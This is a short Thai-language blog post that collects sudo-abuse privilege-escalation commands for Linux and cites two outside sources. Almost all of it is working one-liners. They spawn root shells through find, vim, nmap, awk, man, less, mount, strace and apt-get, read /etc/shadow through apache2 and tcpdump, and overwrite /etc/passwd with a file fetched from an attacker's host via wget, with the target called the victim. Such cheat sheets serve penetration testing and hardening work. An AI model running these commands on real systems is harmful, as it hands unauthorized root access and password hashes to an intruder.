พอดีผมไปเจอ blog สำหรับการให้ได้มา shell ที่เป็นสิทธิ์ root ผ่าน command ต่างๆกัน โดยสามารถทำได้ผ่านสารพัดคำสั่งดังนี้ (อธิบายเรื่อง su และ sudo)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/usr/bin/find /bin/echo /usr/bin/nmap /usr/bin/vim /usr/bin/nano /usr/bin/man /usr/bin/awk /usr/bin/less /usr/bin/ftp /usr/sbin/apache2 /usr/bin/wget /usr/sbin/tcpdump /usr/bin/strace /bin/mount |
1. Find command
1 2 |
sudo find /etc/passwd -exec /bin/sh \; sudo find /bin -name nano -exec /bin/sh \; |
2. vim command
1 |
sudo vim -c '!sh' |
3. Nmap command
1 2 3 4 5 6 |
# Old version sudo nmap --interactive nmap> !sh sh-4.1# # New version echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse |
4. Man command
1 2 |
sudo man man จากนั้นพิมพ์ <code>!sh</code> แล้ว enter |
5. Less และ More command
1 2 3 |
sudo less /etc/hosts sudo more /etc/hosts แล้วพิมพ์คำว่า !sh แล้ว Enter |
6. awk command
1 |
sudo awk 'BEGIN {system("/bin/sh")}' |
7. Nano command
ง่ายๆคือ Nano มันเป็น text editor อยู่แล้วเราก็เปิด /etc/passwd เพื่อเพิ่ม user เข้าไปแค่นั้นเอง
8. wget command
อันนี้ก็ง่ายๆเช่นกันคือเราทำการส่งไฟล์ /etc/passwd ของเหยื่อกลับไปแล้วแก้ไขเพิ่ม user ใหม่ให้เสร็จ จากนั้นก็ทำการ download ไฟล์ดังกล่าวแล้ว save ทับ /etc/passwd แค่นั้นเอง
1 |
sudo wget http://<Attacker Address>:<binding port>/passwd -O /etc/passwd |
9. Apache2 Command
เป็นการให้ Apache2 ทำการอ่านไฟล์ configure โดยเราระบุเป็นไฟล์ที่สำคัญๆอย่าง /etc/shadow ได้
1 |
sudo apache2 -f /etc/shadow |
10. mount command
1 2 |
sudo mount -o bind /bin/bash /bin/mount sudo mount |
11. tcpdump command
1 2 3 |
echo $’id\ncat /etc/shadow’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root |
13. strace command
1 |
sudo strace -o/dev/null /bin/bash |

14. apt-get command
1 |
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i" |
Source::
- http://touhidshaikh.com/blog/?p=790
- https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/